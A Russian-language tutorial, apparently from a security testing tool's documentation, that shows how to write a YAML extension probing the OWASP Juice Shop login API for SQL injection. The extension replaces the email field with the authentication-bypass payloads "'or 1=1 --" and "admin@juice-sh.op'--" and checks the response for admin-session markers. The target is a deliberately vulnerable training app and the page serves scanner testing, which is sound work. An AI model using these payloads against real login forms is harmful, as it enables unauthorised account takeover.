Создание модифицирующего расширения
Расширение, которое описано в этом документе, будет модифицировать поступивший базовый запрос, чтобы включить в него несколько полезных нагрузок, которые могут вызвать срабатывание SQLi-уязвимости в форме логина целевого приложения OWASP Juice Shop.
Подготовка
Перед созданием расширения рекомендуется изучить:
- Логику работы приложения, для которого создается расширение.
- Принципы конструирования point'ов для расширения.
Конструирование расширения
Создайте YAML-файл, описывающий расширение, например, mod-extension.yaml
, и наполните его требуемыми секциями:
-
Подготовьте описание уязвимости, которую позволяет обнаружить расширение:
- заголовок для уязвимости:
OWASP Juice Shop SQLi (mod extension)
; - описание уязвимости:
Demo of SQLi in OWASP Juice Shop (Admin Login)
; - тип уязвимости: SQL-инъекция;
- уровень опасности уязвимости: высокий.
Соответствующая секция
meta-info
будет иметь следующий вид:meta-info: - type: sqli - threat: 80 - title: 'OWASP Juice Shop SQLi (mod extension)' - description: 'Demo of SQLi in OWASP Juice Shop (Admin Login)'
- заголовок для уязвимости:
Секция
collect
, фаза Collect.Напомним, что при попытке аутентификации через форму логина на сайте, выполняется запрос к REST API приложения:
POST /rest/user/login
.Нет необходимости выполнять создание тестов на основе каждого базового запроса для логина, поступившего к API приложения, так как тестирование на уязвимости будет проходить одинаково вне зависимости от данных, переданных в POST-запросе.
Настройте расширение так, чтобы оно выполнялось один раз при запросе для логина к API. Для этого необходимо добавить в расширение фазу Collect с условием уникальности.
Запрос логина к API
/rest/user/login
состоит из следующих элементов:- Первая часть пути со значением
rest
. - Вторая часть пути со значением
user
. - Action-метод
login
.
Соответствующие point'ы, указывающие на эти значения:
PATH_0_value
для первой части пути;PATH_1_value
для второй части пути;ACTION_NAME_value
для action-методаlogin
.
Если потребовать, чтобы комбинация значений всех трех элементов была уникальной, то расширение будет выполнено только для первого базового запроса логина к API
/rest/user/login
(такой запрос будет считаться уникальным, все последующие запросы логина к API не будут уникальными).Добавьте в расширение соответствующую секцию
collect
:collect: - uniq: - [PATH_0_value, PATH_1_value, ACTION_NAME_value]
- Первая часть пути со значением
Секция
match
, фаза Match.Необходимо проверить, что поступивший в расширение базовый запрос действительно является запросом на логин к API, поскольку создаваемое расширение будет эксплуатировать уязвимости, направленные именно на форму логина.
Настройте расширение так, чтобы оно выполнялось только для следующего URI:
/rest/user/login
. Добавьте в расширение секциюmatch
, которая проверяет поступивший в расширение запрос на наличие требуемых элементов:match: - PATH_0_value: 'rest' - PATH_1_value: 'user' - ACTION_NAME_value: 'login'
Секция
modify
, фаза Modify.Предположим, что необходимо модифицировать исходный базовый запрос, чтобы достичь следующих целей:
- очистить значение HTTP-заголовка
Accept-Language
(значение не важно для определения факта наличия уязвимости); - заменить исходные значения параметров
email
иpassword
нейтральными значениямиdummy
.
Добавьте в расширение секцию
modify
, которая изменяет запрос в соответствии с описанными выше требованиями:modify: - "HEADER_ACCEPT-LANGUAGE_value": "" - "POST_JSON_DOC_HASH_email_value": "dummy" - "POST_JSON_DOC_HASH_password_value": "dummy"
Синтаксис описания элементов запроса
Поскольку данные запроса представлены в запросе в формате JSON в виде пар
<ключ:значение>
, то point, который указывает на значение элемента запросаemail
, будет выглядеть так, как показано выше. Point, указывающий на значение элемента запросаpassword
, имеет аналогичную структуру.Более подробная информация о принципах конструирования point'ов доступна здесь.
- очистить значение HTTP-заголовка
Секция
generate
, фаза Generate.Известно, что есть две полезные нагрузки, которыми необходимо заменить значение в параметре
email
базового запроса, чтобы провести эксплуатацию SQL-инъекции:'or 1=1 --
admin@juice-sh.op'--
Вставка полезной нагрузки в модифицированный запрос
Полезная нагрузка (payload) будет вставляться в ранее модифицированный запрос, так как в расширении присутствует фаза Modify. Таким образом, при вставке первой полезной нагрузки в поле
email
, данные тестового запроса будут выглядеть следующим образом:{ "email": "'or 1=1 --", "password":"dummy" }
Поскольку при выбранных полезных нагрузках можно использовать любой пароль для успешного логина, можно не применять полезную нагрузку к полю с паролем, значение которого после применения фазы Modify будет
dummy
.Добавьте в расширение секцию
generate
, которая создаст тестовые запросы в соответствии с описанными выше соображениями:generate: - payload: - "'or 1=1 --" - "admin@juice-sh.op'--" - into: "POST_JSON_DOC_HASH_email_value" - method: - replace
Секция
detect
, фаза Detect.Индикаторами успешной аутентификации пользователя с административными правами служат:
- наличие в теле ответа параметра «идентификатор корзины» со значением
1
. Параметр в ответе представлен в виде JSON следующим образом:
"bid":1
- наличие в теле ответа параметра «e-mail пользователя» со значением
admin@juice-sh.op
. Параметр в ответе представлен в виде JSON следующим образом:
"umail":"admin@juice-sh.op"
Добавьте в расширение секцию
detect
, которая проверяет факт успешности атаки в соответствии с описанными выше соображениями:detect: - response: - body: "\"umail\":\"admin@juice-sh.op\"" - body: "\"bid\":1"
- наличие в теле ответа параметра «идентификатор корзины» со значением
Файл с расширением
Файл mod-extension.yaml
, приведенный ниже, содержит итоговое расширение со всеми необходимыми секциями.
mod-extension.yaml
meta-info:
- type: sqli
- threat: 80
- title: 'OWASP Juice Shop SQLi (mod extension)'
- description: 'Demo of SQLi in OWASP Juice Shop (Admin Login)'
collect:
- uniq:
- [PATH_0_value, PATH_1_value, ACTION_NAME_value]
match:
- PATH_0_value: 'rest'
- PATH_1_value: 'user'
- ACTION_NAME_value: 'login'
modify:
- "HEADER_ACCEPT-LANGUAGE_value": ""
- "POST_JSON_DOC_HASH_email_value": "dummy"
- "POST_JSON_DOC_HASH_password_value": "dummy"
generate:
- payload:
- "'or 1=1 --"
- "admin@juice-sh.op'--"
- into: "POST_JSON_DOC_HASH_email_value"
- method:
- replace
detect:
- response:
- body: "\"umail\":\"admin@juice-sh.op\""
- body: "\"bid\":1"
Использование расширения
Информация о том, как использовать созданное расширение FAST, расположена здесь.
results matching ""
No results matching ""
results matching ""
No results matching ""